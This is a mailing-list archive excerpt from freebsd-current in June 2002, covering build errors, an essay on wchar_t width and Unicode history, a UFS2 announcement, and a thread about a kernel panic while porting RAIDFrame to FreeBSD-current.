> gmake[3]: *** [kappfinder] Error 1
> gmake[3]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
> gmake[2]: *** [all-recursive] Error 1
> gmake[2]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
> gmake[1]: *** [all-recursive] Error 1
> gmake[1]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1'
> gmake: *** [all] Error 2
> *** Error code 2
> 
> Any clues? The /usr/lib/libstdc++.a has, for example:
> 
> 00000000 W std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)
> 00000000 B std::cout
> 00000000 B std::buf_cout
>          U std::cout
>          U std::buf_cout
> 
> 	-mi
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  0:39:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12])
	by hub.freebsd.org (Postfix) with ESMTP id E062637B40E
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 00:39:06 -0700 (PDT)
Received: from pool0133.cvx40-bradley.dialup.earthlink.net ([216.244.42.133] helo=mindspring.com)
	by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17Ka3R-0003oI-00; Wed, 19 Jun 2002 00:39:01 -0700
Message-ID: <3D1034D1.D245E1D@mindspring.com>
Date: Wed, 19 Jun 2002 00:37:53 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Johny Mattsson (EPA)" <Johny.Mattsson@ericsson.com.au>
Cc: "'freebsd-current@freebsd.org'" <freebsd-current@freebsd.org>
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <4B6BC00CD15FD2119E5F0008C7A419A514C8BB48@eaubrnt018.epa.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

OK, this has turned into a long essay, so unless questions are really
addressed to me explicitly, I will try to avoid writing anything else
on this subject.

Here's my Jeremiad on Unicode.  Take it for what it's worth.


"Johny Mattsson (EPA)" wrote:
> 
>    Part 1.1Type: Plain Text (text/plain)

| If we settle on wchar_t being 16bits, then we will still be forced to do
| UTF-7/8/16 to properly handle a random Unicode (or ISO/IEC 10646) string,
| since we must deal with that charming thing known as "surrogate pairs" (see
| section 3.7 of the Unicode standard v3.0). This again breaks the "one
| wchar_t == on character". When being forced to deal with Unicode, I much
| prefer working with 32bits, since that guarantees that I get a fixed length
| for each character. Admittedly, it is space inefficient to the Nth degree,
| but speedwise it is better.

ISO/IEC 10646-1 doesn't have any code points allocated above the
low 16 bits.  It's the same as the Unicode 1.1 standard.

Unicode 3.0 throws a whole lot of dead languages into the mix,
or it tries to allocate seperate code points for non-existant
character sets, whose glyphs should be, according the Unicode
Philosophy that resulted in the controversial CJK unification,
unified with existing glyphs within the character set.  Unicode,
after all, is a character set standard, not a font encoding
standard.

Unicode 3.x has not been ratified as an ISO/IEC standard, and it
may not ever be.  So Unicode 3.x incursions above 16 bits are not
really a valid argument until Unicode 3.x is standardized in some
way other than administrative fiat by the Unicode Consortium
having published a new version to sell more books and justify its
continued existance to the people funding it.

--

Historically, I've really had a love/hate relationship with
Unicode.

When Unicode was originally designed, it was intentionally
designed to exclude fixed-cell rendering technologies: if
the font was pre-rendeered, you could not render characters
with ligatures intact.

Personally, I blame this in the fact that Taligent, the real
driving force behind the first Unicode standard, was an IBM
and Apple joint venture, and owed its pocket books to rendering
technologies like Display PostScript, which were direct
competitors with X Windows... and X Windows uses fixed cell
rendering technology, even when it's using TrueType fonts.

So when Unicode first came out, the "private use" areas were
not lare enough, nor sufficinetly near or interleaved with,
that of ligatured languages, like Tamil and Devengari, or
even Arabic and Hebrew.

There was a fundamental assumption that the rendering technology
would be disjoint from the encoding technology, and that the
cost, due to the arrangement of the "private use" areas, was to
be bourne in the rendering engine.  And rendering engines where
that was not possible (e.g. X Windows) would just have to paint
pixels and eat the overhead in the applications (and they did;
you can install "xtamil" from ports and see how it works).

The Japanese *hate* Unicode.  The primary reason for this hate
is, to be blunt, that Unicode is not a superset of JIS-208 or
JIS-208 + JIS-212; the secondary reason is that Japanese is as
nearly protectionist as French, and the CJK unification used
the Chinese dictionary order.  There is a good reason for this,
however: Chinese dictionary order is capable of classifying
Japanese Ideograms.  A simplification of this is that Chinese
dictionary classification is in "stroke, radical" order; thus
it is capable of classifying ideograms that "look like" they
are Chinese ideograms.  The Japanese classification system is
not capable of doing this, and the Japanese have two widely
recognized classification systems for lexical ordering internal
to Japan, so it's not even possible to pick a "right order" if
you were to say "all the Japanese characters, *then* all the
Chinese characters.

In practice, this is a subject for academics who care about the
number of angels which can dance on the head of a pin.  But it
has a slightly deeper protectionist agenda, as well.  The
Japanese computer market, for a very long time, was not a
commoditized market.  Perhaps the largest market share went to
the NEC-PC98 (indeed, there's explicit support in FreeBSD for
this machine).  In such a market, it's possible to create
products which are non-commodity, and end up "owning" customers.
In addition, things like EUC encoding and XPG/4 are rarely
supported by non-Japanese software titles, which protects the
local software production market.  MITI, in fact, has as one of
its mandates, the protection of a market for locally produced
software.

Microsoft's introduction of Unicode, and the subsequent ability
of third party software written solely to support Microsoft
interfaces that used "oleString" and other wchar_t types
natively, meant that there was immediate support for Japanese
in these products.  Microsoft broke down the wall that had
been built in order to protect local markets.

So, getting back to the main line of dicussion, with this
backround in hand:

| As for interoperability with Windows, it is clearly stated that the wchar_t
| is intended for internal usage only, and the various encoding schemes should
| be used when storing strings outside of a process. In reality this means
| that just about every Unicode capable application reads and writes in UTF-8
| or 7. This means that interoperability should not become an issue. If it
| really was expected to have been an issue, I'm sure the C++ standard would
| have mandated a specific width for wchar_t, which as far as I am aware they
| didn't.

Microsoft's OLESS (OLE Structured Storage), which is the storage
type that it uses for most Microsoft applications, these days,
has the capability of natively storing and retreiving OLE types,
including "oleString".

Basically, this means that there is no conversion of the textual
data on its way in or out.

Your proposal, to take the phrase "internal use only" literally,
is flawed.

What it basically comes down to is the requirement for explicit
extra work to be done in order to support both l10n (localization)
and i18n (internationalization) in applications, rather than the
appilcations implicitly supporting them... as Microsoft applications
explicitly support them.

The net effect of doing this is that we will end up with a lot of
code, which, even if our hopes are realized, and it is 8-bit clean,
is missing a significant amount of engineering work, which would
be necessary for it to support languages which are not supported
by the 8-bit ISO-8859-1 (Latin-1) character set -- or whichever
8-bit character set has been selected as the local primary default
attribute assumed on otherwise unattributed text files.

Therefore, however the problem is handled, it is a good idea to
make sure that default applications, written without the ability
to explicitaly convert between internal (processing) and external
(storage) formats, still work for languages other than English.

| So, in the light of this, what would be the most appropriate choice? I
| haven't yet had a chance to explore what locales we support, but I would
| lean toward saying wchar_t == 32 bits, since this is future proof. If we
| later down the track are forced to go from 16 -> 32 due us supporting more
| of the asian locales, I foresee this causing _major_ breakage.

This ignores the interoperability issue which I originally
raised.  I realize that "Windows" is a "dirty word" (though we
can all reread the above, and see how clever they are, even if
we want to pretend that they are technically inept), but... I
would like to see it possible to interoperate with third party
ELF libraries initially intended for use with Windows.

What this means is adoption of decisions similar to those made
by Windows in regards to minimum size assumptions with regard
to intrinsic types.  Or even *exact* correspondance on size,
for values which may be externalized via librayr, COM, DCOM, or
some other marshalling facility that's going to assume that the
sizes of things marshalled in are going to be the same on the
way out.

You *could* "embrace and extend" what Microsoft has put out
there; however, lacking the ability to wield monopolistic power
in the marketplace, it's highly unlikely that your screams of
"My way is the right way!" will be heard over the steamroller
engine.

I guess a good point to make here is the size of a single
element in a "String" type in Java?

In any case, I rather expect that most of .NET is going to be
assuming 16 bit wchar's.  Someone who knows, rather than just
"expecting" needs to speak up here.

--

In any case: expect to multiply your real storage requirements
by a factor of 2 for 16 bit Unicode, and a factor of 4, for 32
bit Unicode.

Unless you happen to be an English speaker who never bothers
setting the 8th bit on any of your text, UTF encoding is a raw
deal.  Further, it will have a tendency to reduce the market
portability of software you write, no matter what, and without
a lot of extraordinary effort, expect that your code will only
be locally salable.

For Europeans, 8-bit clean won't save you any more.  You will
end up having to take 2 characters to store any character in
the range 0x80-0xff.  So no matter what, you European programmers
will be screwed by having storage encoding different from process
encoding.

--

Look: I know that "Microsoft Invented it" is the kiss of death,
but isn't it possible to admit, just this once, that they maybe
had a good idea, and copy them?

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  1: 9:16 2002
Delivered-To: freebsd-current@freebsd.org
Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163])
	by hub.freebsd.org (Postfix) with ESMTP id EBA2337B40D
	for <current@freebsd.org>; Wed, 19 Jun 2002 01:09:13 -0700 (PDT)
Received: from critter.freebsd.dk (localhost [127.0.0.1])
	by critter.freebsd.dk (8.12.3/8.12.2) with ESMTP id g5J87TIj034806
	for <current@freebsd.org>; Wed, 19 Jun 2002 10:07:29 +0200 (CEST)
	(envelope-from phk@critter.freebsd.dk)
To: current@freebsd.org
Subject: HEADSUP:  UFS2 patch coming...
From: Poul-Henning Kamp <phk@freebsd.org>
Date: Wed, 19 Jun 2002 10:07:29 +0200
Message-ID: <34805.1024474049@critter.freebsd.dk>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Kirk is loading and aiming is committatron with the UFS2 patch,
expect to see it hit -current any day soon.

-- 
Poul-Henning Kamp       | UNIX since Zilog Zeus 3.20
phk@FreeBSD.ORG         | TCP/IP since RFC 956
FreeBSD committer       | BSD since 4.3-tahoe
Never attribute to malice what can adequately be explained by incompetence.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  1:22:39 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by hub.freebsd.org (Postfix) with ESMTP id C0EC637B411
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 01:22:34 -0700 (PDT)
Received: from freya ([66.122.121.58])
 by mta6.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GXY00J0M1XM7X@mta6.snfc21.pbi.net> for
 freebsd-current@freebsd.org; Wed, 19 Jun 2002 01:22:34 -0700 (PDT)
Date: Wed, 19 Jun 2002 01:22:14 -0700 (PDT)
From: "Robert N. Saft [zardoz]" <zardoz@vampyre.com>
Subject: Repeated Kernel Build Errors
To: freebsd-current@freebsd.org
Message-id: <Pine.BSF.4.44.0206190121340.70159-100000@freya.vampyre.com>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Content-transfer-encoding: 7BIT
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

After several full src updates, I still cannot get past this issue -
any and all help/comments appreciated.

Many thanks in advance...

/robert/

[freya] [/sys/i386/compile/freya5] # make
cc -c -O -pipe  -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -Wno-format -ansi  -nostdinc -I-  -I. -I../../.. -I../../../dev -I../../../contrib/dev/acpica -I../../../contrib/ipfilter -I../../../../include  -D_KERNEL -include opt_global.h -fno-common   -mpreferred-stack-boundary=2 -ffreestanding -Werror  ../../../dev/syscons/schistory.c
../../../dev/syscons/schistory.c: In function `sc_alloc_history_buffer':
../../../dev/syscons/schistory.c:127: void value not ignored as it ought to be
../../../dev/syscons/schistory.c:127: syntax error before ')' token
../../../dev/syscons/schistory.c: In function `sc_hist_ioctl':
../../../dev/syscons/schistory.c:306: void value not ignored as it ought to be
../../../dev/syscons/schistory.c:306: syntax error before ')' token
*** Error code 1

Stop in /usr/src/sys/i386/compile/freya5.

-- 

                     --- END ---

"At a dinner party one should eat wisely but not too well,
and talk well but not too wisely."
             -- W. Somerset Maugham (1874-1965)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  1:59:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hotmail.com (oe35.pav0.hotmail.com [64.4.32.115])
	by hub.freebsd.org (Postfix) with ESMTP id 1AD5737B410
	for <current@FreeBSD.org>; Wed, 19 Jun 2002 01:59:44 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 19 Jun 2002 01:59:44 -0700
X-Originating-IP: [210.74.136.33]
From: "kai ouyang" <oykai@msn.com>
To: <current@FreeBSD.org>
Subject: open panic?
Date: Wed, 19 Jun 2002 16:59:19 +0800
MIME-Version: 1.0
X-Mailer: MSN Explorer 7.00.0021.1900
Content-Type: multipart/mixed; boundary="----=_NextPart_001_0000_01C217B2.A7271890"
Message-ID: <OE3554bGY1mqGTPXvDM00026788@hotmail.com>
X-OriginalArrivalTime: 19 Jun 2002 08:59:44.0036 (UTC) FILETIME=[A797FE40:01C2176F]
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


------=_NextPart_001_0000_01C217B2.A7271890
Content-Type: multipart/alternative; boundary="----=_NextPart_002_0001_01C217B2.A7271890"


------=_NextPart_002_0001_01C217B2.A7271890
Content-Type: text/plain; charset="gb2312"
Content-Transfer-Encoding: quoted-printable

Hi, everybody
  I am transfering the RAIDFrame from FreeBSD4.x to Current.  =20
Now I can config the RAIDFrame. I have some problems about 'open'.
When I configed a raid device(raid0), I can see the process by 'ps ax'. =20

#ps ax|grep raid
215 ?? DL 0:00.00 (raid)

I am trying to open the device again(by the open function), the box is
panic. So I can not do anything to  the device.
I am puzzled about that. if open is fail, it should return error. Why pan=
ic?
Have you the similar problem?

Fatal trap 12: page fault while in kernel mode



Best Regards
Ouyang Kai=B4=D3=CD=F8=D5=BE=B5=C3=B5=BD=B8=FC=B6=E0=D0=C5=CF=A2=A1=A3MSN=
 Explorer =C3=E2=B7=D1=CF=C2=D4=D8:http://explorer.msn.com/lccn

------=_NextPart_002_0001_01C217B2.A7271890
Content-Type: text/html; charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<HTML><BODY STYLE=3D"font:10pt verdana; border:none;"><DIV>Hi, everybody<=
/DIV> <DIV>&nbsp; I am transfering the RAIDFrame from FreeBSD4.x to Curre=
nt.&nbsp; </DIV> <DIV>Now I can config the RAIDFrame. I have some problem=
s about 'open'.</DIV> <DIV>When I configed a raid device(raid0),&nbsp;I c=
an see the process by 'ps ax'.&nbsp;</DIV> <DIV>&nbsp;</DIV> <DIV>#ps ax|=
grep raid</DIV> <DIV>215 ?? DL 0:00.00 (raid)</DIV> <DIV>&nbsp;</DIV> <DI=
V>I am trying to open the device again(by the open function), the box is<=
/DIV> <DIV>panic. So I can not do anything to&nbsp; the device.</DIV> <DI=
V>I am puzzled about that. if open is fail, it should return error. Why p=
anic?</DIV> <DIV>Have you the similar problem?</DIV> <DIV>&nbsp;</DIV> <D=
IV>Fatal trap 12: page fault while in kernel mode</DIV> <DIV>&nbsp;</DIV>=
 <DIV><BR><BR>Best Regards<BR>Ouyang Kai</DIV> <DIV>&nbsp;</DIV> <DIV>&nb=
sp;</DIV></BODY></HTML><br clear=3Dall><hr>=B4=D3=CD=F8=D5=BE=B5=C3=B5=BD=
=B8=FC=B6=E0=D0=C5=CF=A2=A1=A3MSN Explorer =C3=E2=B7=D1=CF=C2=D4=D8=A3=BA=
<a href=3D'http://explorer.msn.com/lccn'>http://explorer.msn.com/lccn</a>=
<br></p>

------=_NextPart_002_0001_01C217B2.A7271890--


------=_NextPart_001_0000_01C217B2.A7271890
Content-Type: text/plain; name="open_panic.txt"
Content-Disposition: attachment; filename="open_panic.txt"
Content-Transfer-Encoding: quoted-printable

Hi, everybody
  I am transfering the RAIDFrame from FreeBSD4.x to Current.  =20
Now I can config the RAIDFrame. I have some problems about 'open'.
When I configed a raid device(raid0), I can see the process by 'ps ax'. =20

#ps ax|grep raid
215 ?? DL 0:00.00 (raid)

I am trying to open the device again(by the open function), the box is
panic. So I can not do anything to  the device.
I am puzzled about that. if open is fail, it should return error. Why pan=
ic?
Have you the similar problem?

Fatal trap 12: page fault while in kernel mode



Best Regards
Ouyang Kai

------=_NextPart_001_0000_01C217B2.A7271890--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  2:14:43 2002
Delivered-To: freebsd-current@freebsd.org
Received: from magic.adaptec.com (magic.adaptec.com [208.236.45.80])
	by hub.freebsd.org (Postfix) with ESMTP id 7E8DC37B403
	for <current@freebsd.org>; Wed, 19 Jun 2002 02:14:37 -0700 (PDT)
Received: from redfish.adaptec.com (redfish.adaptec.com [162.62.50.11])
	by magic.adaptec.com (8.10.2+Sun/8.10.2) with ESMTP id g5J9Eav25604;
	Wed, 19 Jun 2002 02:14:36 -0700 (PDT)
Received: from btc.btc.adaptec.com (btc.btc.adaptec.com [10.100.0.52])
	by redfish.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id CAA19969;
	Wed, 19 Jun 2002 02:14:36 -0700 (PDT)
Received: from hollin.btc.adaptec.com (hollin [10.100.253.56])
	by btc.btc.adaptec.com (8.8.8+Sun/8.8.8) with ESMTP id DAA02161;
	Wed, 19 Jun 2002 03:14:33 -0600 (MDT)
Received: from hollin.btc.adaptec.com (localhost [127.0.0.1])
	by hollin.btc.adaptec.com (8.12.3/8.12.3) with ESMTP id g5J9BGrP042943;
	Wed, 19 Jun 2002 03:11:16 -0600 (MDT)
	(envelope-from scottl@hollin.btc.adaptec.com)
Received: (from scottl@localhost)
	by hollin.btc.adaptec.com (8.12.3/8.12.3/Submit) id g5J9BG0L042942;
	Wed, 19 Jun 2002 03:11:16 -0600 (MDT)
Date: Wed, 19 Jun 2002 03:11:16 -0600
From: Scott Long <scott_long@btc.adaptec.com>
To: kai ouyang <oykai@msn.com>
Cc: current@freebsd.org
Subject: Re: open panic?
Message-ID: <20020619091115.GA42793@hollin.btc.adaptec.com>
References: <OE3554bGY1mqGTPXvDM00026788@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <OE3554bGY1mqGTPXvDM00026788@hotmail.com>
User-Agent: Mutt/1.3.28i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Wed, Jun 19, 2002 at 04:59:19PM +0800, kai ouyang wrote:
> Hi, everybody
>   I am transfering the RAIDFrame from FreeBSD4.x to Current.  

That's funny, so am I =-)

> Now I can config the RAIDFrame. I have some problems about 'open'.
> When I configed a raid device(raid0), I can see the process by 'ps ax'. 
>  
> #ps ax|grep raid
> 215 ?? DL 0:00.00 (raid)
>  
> I am trying to open the device again(by the open function), the box is
> panic. So I can not do anything to  the device.
> I am puzzled about that. if open is fail, it should return error. Why
> panic?
> Have you the similar problem?
>  
> Fatal trap 12: page fault while in kernel mode

Have you taken the proper steps to handle Giant in the RAIDframe
kernel thread?

That said, I'm getting close to having -current RAIDframe patches
available.  It's starting to work well on my system, and I'm squashing
Witness warnings as they come up.

Scott
>  
> 
> 
> Best Regards
> Ouyang Kai
>  
>  
> 
>   _____  
> 
> ????????????????????MSN Explorer ?????????? http://explorer.msn.com/lccn
> <http://explorer.msn.com/lccn> 
> 
> 

> Hi, everybody
>   I am transfering the RAIDFrame from FreeBSD4.x to Current.   
> Now I can config the RAIDFrame. I have some problems about 'open'.
> When I configed a raid device(raid0), I can see the process by 'ps ax'.  
> 
> #ps ax|grep raid
> 215 ?? DL 0:00.00 (raid)
> 
> I am trying to open the device again(by the open function), the box is
> panic. So I can not do anything to  the device.
> I am puzzled about that. if open is fail, it should return error. Why panic?
> Have you the similar problem?
> 
> Fatal trap 12: page fault while in kernel mode
> 
> 
> 
> Best Regards
> Ouyang Kai


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Jun 19  2:46:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hotmail.com (oe41.pav0.hotmail.com [64.4.32.121])
	by hub.freebsd.org (Postfix) with ESMTP id 1AA4037B405
	for <current@FreeBSD.org>; Wed, 19 Jun 2002 02:46:37 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 19 Jun 2002 02:46:36 -0700
X-Originating-IP: [210.74.136.33]
From: "kai ouyang" <oykai@msn.com>
To: "Scott Long" <scott_long@btc.adaptec.com>, <current@FreeBSD.org>
Subject: Re:open panic?
Date: Wed, 19 Jun 2002 17:46:20 +0800
MIME-Version: 1.0
X-Mailer: MSN Explorer 7.00.0021.1900
Content-Type: multipart/mixed; boundary="----=_NextPart_001_0003_01C217B9.386C3780"
Message-ID: <OE41tLn0TztdK0HMEQ700031fde@hotmail.com>
X-OriginalArrivalTime: 19 Jun 2002 09:46:36.0953 (UTC) FILETIME=[34391090:01C21776]
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


------=_NextPart_001_0003_01C217B9.386C3780
Content-Type: multipart/alternative; boundary="----=_NextPart_002_0004_01C217B9.386C3780"


------=_NextPart_002_0004_01C217B9.386C3780
Content-Type: text/plain; charset="gb2312"
Content-Transfer-Encoding: quoted-printable


Dear Scott,
  I am glad to see you. I am working based on your RAIDFrame 2000-06 patc=
h. =20
I know you are so busy. So I am trying to transfer them myself. :)
About RAIDFrame, I have talk about some problems with Oster.
 Let me talk about some work about RAIDFrame.
 This is the first I hack the kernel. so I have a lot of problem about Fr=
eeBSD kernel.:(
 First, I replace the simplelock with mutex, modify many proc parameter t=
o thread and
modify some buf structure to bio structure.
 I think I must compile successfully firstly.:)
 Now, I try to trace those command('raidctl').
 When I excute the 'raidctl -C configfile'. the system is panic. I think =
the ioctl thread parameter
should be hold by rf_Configure, right? But the FreeBSD4.x version did not=
 hold the ioctl proc paramter.
I know little about Gaint. I only know the Gaint is the global mtx var, b=
ut I do not know how to use it.
Could you give me some Gaint usage knowledge or relative articles ?
Hmm... I really want to learn the FreeBSD kernel by this experience. =20

Best Regards
 Ouyang Kai


On Wed, Jun 19, 2002 at 04:59:19PM +0800, kai ouyang wrote:
> Hi, everybody
>   I am transfering the RAIDFrame from FreeBSD4.x to Current.

That's funny, so am I =3D-)

> Now I can config the RAIDFrame. I have some problems about 'open'.
> When I configed a raid device(raid0), I can see the process by 'ps ax'.
>
> #ps ax|grep raid
> 215 ?? DL 0:00.00 (raid)
>
> I am trying to open the device again(by the open function), the box is
> panic. So I can not do anything to  the device.
> I am puzzled about that. if open is fail, it should return error. Why
> panic?
> Have you the similar problem?
>
> Fatal trap 12: page fault while in kernel mode

Have you taken the proper steps to handle Giant in the RAIDframe
kernel thread?

That said, I'm getting close to having -current RAIDframe patches
available.  It's starting to work well on my system, and I'm squashing
Witness warnings as they come up.

Scott
>
>
>
> Best Regards
> Ouyang Kai
>
>
>
>   _____
>
> ????????????????????MSN Explorer ?????????? http://explorer.msn.com/lcc=
n
> <http://explorer.msn.com/lccn>
>
>

> Hi, everybody
>   I am transfering the RAIDFrame from FreeBSD4.x to Current.
> Now I can config the RAIDFrame. I have some problems about 'open'.
> When I configed a raid device(raid0), I can see the process by 'ps ax'.
>
> #ps ax|grep raid
> 215 ?? DL 0:00.00 (raid)
>
> I am trying to open the device again(by the open function), the box is
> panic. So I can not do anything to  the device.
> I am puzzled about that. if open is fail, it should return error. Why p=
anic?
> Have you the similar problem?
>
> Fatal trap 12: page fault while in kernel mode
>
>
>
> Best Regards
> Ouyang Kai=B4=D3=CD=F8=D5=BE=B5=C3=B5=BD=B8=FC=B6=E0=D0=C5=CF=A2=A1=A3M=
SN Explorer =C3=E2=B7=D1=CF=C2=D4=D8:http://explorer.msn.com/lccn

------=_NextPart_002_0004_01C217B9.386C3780
Content-Type: text/html; charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<HTML><BODY STYLE=3D"font:10pt verdana; border:none;"><DIV>&nbsp;</DIV> <=
DIV>Dear Scott,</DIV> <DIV>&nbsp; I am glad to see you. I am working base=
d on your RAIDFrame 2000-06 patch. </DIV> <DIV>I know you are so busy. So=
 I am trying to transfer them myself. :)</DIV> <DIV>About RAIDFrame, I ha=
ve talk about some problems with Oster.</DIV> <DIV>&nbsp;Let me talk abou=
t some work about RAIDFrame.</DIV> <DIV>&nbsp;This is the first I hack th=
e kernel. so I have a lot of problem about FreeBSD kernel.:(</DIV> <DIV>&=
nbsp;First, I replace the simplelock with mutex, modify many proc paramet=
er to thread and</DIV> <DIV>modify some buf structure to bio structure.</=
DIV> <DIV>&nbsp;I think I must compile successfully firstly.:)</DIV> <DIV=
>&nbsp;Now, I try to trace those command('raidctl').</DIV> <DIV>&nbsp;Whe=
n I excute the 'raidctl -C configfile'. the system is panic. I think the =
ioctl thread parameter</DIV> <DIV>should be hold by rf_Configure, right? =
But the FreeBSD4.x version did not hold the ioctl proc paramter.</DIV> <D=
IV>I know little about Gaint. I only know the Gaint is the global mtx var=
, but I do not know how to use it.</DIV> <DIV>Could you give me some Gain=
t usage knowledge or relative articles ?</DIV> <DIV>Hmm... I really want =
to learn the FreeBSD kernel by this experience. </DIV> <DIV>&nbsp;</DIV> =
<DIV>Best Regards</DIV> <DIV>&nbsp;Ouyang Kai</DIV> <DIV>&nbsp;</DIV> <BL=
OCKQUOTE style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px=
; BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px"> <DIV>&nbsp;</DIV>On=
 Wed, Jun 19, 2002 at 04:59:19PM +0800, kai ouyang wrote:<BR>&gt; Hi, eve=
rybody<BR>&gt;&nbsp;&nbsp; I am transfering the RAIDFrame from FreeBSD4.x=
 to Current.<BR><BR>That's funny, so am I =3D-)<BR><BR>&gt; Now I can con=
fig the RAIDFrame. I have some problems about 'open'.<BR>&gt; When I conf=
iged a raid device(raid0), I can see the process by 'ps ax'.<BR>&gt;<BR>&=
gt; #ps ax|grep raid<BR>&gt; 215 ?? DL 0:00.00 (raid)<BR>&gt;<BR>&gt; I a=
m trying to open the device again(by the open function), the box is<BR>&g=
t; panic. So I can not do anything to&nbsp; the device.<BR>&gt; I am puzz=
led about that. if open is fail, it should return error. Why<BR>&gt; pani=
c?<BR>&gt; Have you the similar problem?<BR>&gt;<BR>&gt; Fatal trap 12: p=
age fault while in kernel mode<BR><BR>Have you taken the proper steps to =
handle Giant in the RAIDframe<BR>kernel thread?<BR><BR>That said, I'm get=
ting close to having -current RAIDframe patches<BR>available.&nbsp; It's =
starting to work well on my system, and I'm squashing<BR>Witness warnings=
 as they come up.<BR><BR>Scott<BR>&gt;<BR>&gt;<BR>&gt;<BR>&gt; Best Regar=
ds<BR>&gt; Ouyang Kai<BR>&gt;<BR>&gt;<BR>&gt;<BR>&gt;&nbsp;&nbsp; _____<B=
